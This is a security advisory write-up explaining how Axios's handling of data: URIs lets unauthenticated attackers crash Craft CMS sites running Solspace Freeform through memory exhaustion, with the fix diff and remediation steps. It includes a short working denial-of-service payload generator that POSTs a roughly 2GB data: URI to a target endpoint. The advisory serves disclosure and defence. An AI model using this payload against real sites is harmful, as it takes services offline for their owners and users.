GHSA-58Q2-9X27-H2JM

The Infinite Buffer: Crashing Craft CMS via Axios Data URIs

Alon Barad
Alon Barad
Software Engineer

Jan 16, 2026·7 min read

Executive Summary (TL;DR)

Solspace Freeform uses a version of Axios vulnerable to DoS via `data:` URIs. Axios's Node.js adapter synchronously decodes these URIs into memory without checking size limits. Sending a massive Base64 string forces the server to allocate gigabytes of RAM instantly, killing the process.

A deep dive into CVE-2025-58754, where the popular Axios library's mishandling of `data:` URIs allows unauthenticated attackers to trigger Out-of-Memory (OOM) crashes in Solspace Freeform for Craft CMS.

The Hook: The Universal Soldier

Axios is the Swiss Army knife of the JavaScript ecosystem. It is the fetch that actually works the way you want it to, handling everything from standard GET requests to complex interceptors. It is ubiquitous, appearing in millions of projects, including the popular Craft CMS plugin solspace/craft-freeform. Developers love it because it abstracts away the pain of XMLHttpRequest in the browser and the http module in Node.js.

But here is the catch: abstraction is just a fancy word for "hiding the dangerous bits." When running in a Node.js environment (like the server-side components of a Craft CMS plugin), Axios switches gears. It doesn't use the browser's networking stack; it uses Node's native adapters. And one of those adapters—specifically the logic handling the data: protocol—was a ticking time bomb waiting for a sufficiently motivated troll.

The vulnerability (CVE-2025-58754) is a classic logic flaw wrapped in a memory management nightmare. It turns a feature designed to handle small, inline images or text into a weapon that can obliterate a server's heap memory in milliseconds. It’s not an injection, it’s not an RCE; it’s a request to "please hold this 4GB string for me," to which Axios replied, "Sure thing, boss," right before dying.

The Flaw: A Protocol Switcheroo

To understand why this breaks, you have to look at how Axios decides what to do with a URL. When you pass a URL to Axios, it checks the protocol. If it sees http: or https:, it opens a socket. But if it sees data:, it effectively short-circuits the network entirely. It decides, quite helpfully, that it doesn't need to go to the internet to fetch this; the data is right there in the string.

In the browser, this is fine. The browser handles memory allocation for large strings fairly gracefully, or at least isolates the tab. In Node.js, however, Axios tries to simulate a server response. It takes the payload from the data: URI—which is usually Base64 encoded—and attempts to decode it into a Buffer or Blob to pass back to the user as response.data.

The fatal flaw was strictly chronological. The logic to decode the data: URI was executed synchronously and before any configuration checks for maxContentLength or maxBodyLength were applied. The developers wrote code that essentially said: "First, let's decode this entire string into RAM. Second, let's check if it's too big."

It’s the programming equivalent of eating an entire buffet and then checking if you're on a diet. By the time the code realizes the payload exceeds the allowed size, the Node.js process has already attempted to allocate a contiguous block of memory larger than the V8 heap limit. The result is an immediate, uncatchable FATAL ERROR: JavaScript heap out of memory.

The Code: The Smoking Gun

Let's look at the crime scene in lib/adapters/http.js. The vulnerable code didn't just ignore limits; it practically invited the crash. Here is a simplified view of what was happening inside the adapter:

// The Vulnerable Logic (simplified)
export default function httpAdapter(config) {
  return new Promise((resolve, reject) => {
    if (config.url.startsWith('data:')) {
      // 1. Parse the massive string immediately
      const [header, payload] = config.url.split(',');
      
      // 2. ALLOCATE ALL THE RAM
      // This happens BEFORE any size checks!
      const buffer = Buffer.from(payload, 'base64');
      
      // 3. Construct response
      const response = {
        data: buffer,
        status: 200
      };
      
      // 4. Resolve the promise
      settle(resolve, reject, response);
      return;
    }
    // ... normal HTTP handling ...
  });
}

The fix introduced in Axios 1.12.0 (and adopted by Freeform 4.1.30) adds a sanity check. They introduced a helper function estimateDataURLDecodedBytes to do some math before allocation. Here is the diff logic:

// The Fix
import estimateDataURLDecodedBytes from '../helpers/estimateDataURLDecodedBytes.js';
 
if (protocol === 'data:') {
  // 1. Check if a limit exists
  if (config.maxContentLength > -1) {
    // 2. ESTIMATE size first
    const estimated = estimateDataURLDecodedBytes(config.url);
    
    // 3. Reject if too big, BEFORE allocation
    if (estimated > config.maxContentLength) {
      return reject(new AxiosError(
        'maxContentLength size exceeded',
        AxiosError.ERR_BAD_RESPONSE
      ));
    }
  }
  // ... proceed to decode ...
}

[!NOTE] Researcher's Note: Even the fix is a bit precarious. To calculate the size, they have to manipulate the URL string. In V8, operations like url.slice() or string concatenation can sometimes result in memory spikes if the string is essentially copied. A dedicated attacker might still be able to trigger OOMs by skirting the edge of the estimate function logic.

The Exploit: Feeding the Beast

Exploiting this is trivially easy if you can control the URL passed to Axios. In the context of solspace/craft-freeform, this might occur in webhooks, remote asset fetching features, or any integration that accepts a URL input.

The attack vector is a data: URI. We don't need complex shellcode; we just need As. A lot of them.

// The DoS Payload Generator
const targetUrl = 'https://vulnerable-craft-site.com/actions/freeform/some-endpoint';
 
// 1. Generate a massive base64 string (approx 2GB)
// "A" in base64 is just 000000, so we pad it out.
const payload = 'A'.repeat(1024 * 1024 * 1024 * 2);
 
// 2. Construct the data URI
const maliciousUri = `data:text/plain;base64,${payload}`;
 
// 3. Send it to the vulnerable app
// The app passes this string to Axios, which tries to decode it.
fetch(targetUrl, {
  method: 'POST',
  body: JSON.stringify({ url: maliciousUri }),
  headers: { 'Content-Type': 'application/json' }
});

When the Craft CMS plugin receives this request, it passes maliciousUri to Axios. Axios sees data:, ignores the network, and attempts to create a Buffer of roughly 1.5GB (since Base64 is 4/3 the size of binary).

Node.js has a default heap limit (often 2GB or 4GB depending on the version and flags). The sudden allocation request for a single contiguous buffer usually fragments the heap or simply exceeds the remaining space. The garbage collector panics, spins for a second, and then the process dies hard.

The Impact: Lights Out

Why is this a high-severity issue (CVSS 7.5)? It's purely an Availability impact, but in the world of CMS and e-commerce, availability is money.

Since Node.js is single-threaded (mostly), crashing the main process brings down the entire application instance. If the site is running behind a process manager like PM2 or in a container (Docker/Kubernetes), it will restart. However, the attack is computationally cheap to generate but expensive to handle. An attacker can simply loop the request.

This leads to a "Crash Loop Backoff" state in Kubernetes or a constantly unavailable service. For a high-traffic site, this effectively acts as a kill switch that requires very little bandwidth from the attacker, as they are just sending text, while the server does the heavy lifting of memory allocation.

The Fix: Stopping the Bleeding

The remediation is straightforward but requires checking your dependency tree depth.

  1. Update the Plugin: Solspace released craft-freeform version 4.1.30. This version bumps the internal axios dependency to a safe version (>= 1.12.0).
  2. Audit package-lock.json: If you are using Axios directly or via other plugins, ensure you aren't pinning an old version. You need Axios 1.12.0+ or 0.30.2+.

Defense in Depth: Even with the patch, you should configure Axios with explicit limits if you are developing custom modules:

axios.get(userInputUrl, {
  maxContentLength: 20000, // Limit to 20KB
  maxBodyLength: 20000
});

Without these explicit configuration options, Axios defaults to allowing Infinity for body size. The patch only works if a limit is actually set or if the default internal limits catch it (which they now do better, but explicit is always better than implicit).

Fix Analysis (2)

Technical Appendix

CVSS Score
7.5/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Probability
0.06%
Top 81% most exploited

Affected Systems

Craft CMS utilizing solspace/craft-freeform <= 4.1.29Node.js applications using axios < 1.12.0Server-side rendering or build tools dependent on vulnerable axios

Affected Versions Detail

Product
Affected Versions
Fixed Version
solspace/craft-freeform
Solspace
<= 4.1.294.1.30
axios
Axios
< 1.12.01.12.0
AttributeDetail
CWE IDCWE-770
Attack VectorNetwork
CVSS7.5 (High)
ImpactDenial of Service (OOM)
Vulnerable ComponentAxios http adapter
Exploit StatusPoC Available
CWE-770
Allocation of Resources Without Limits or Throttling

Allocation of Resources Without Limits or Throttling

Vulnerability Timeline

Axios Fix Committed (945435f)
2025-09-10
CVE-2025-58754 Published
2025-09-12
Solspace Freeform 4.1.30 Released
2026-01-15
GHSA-58Q2-9X27-H2JM Published
2026-01-15

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.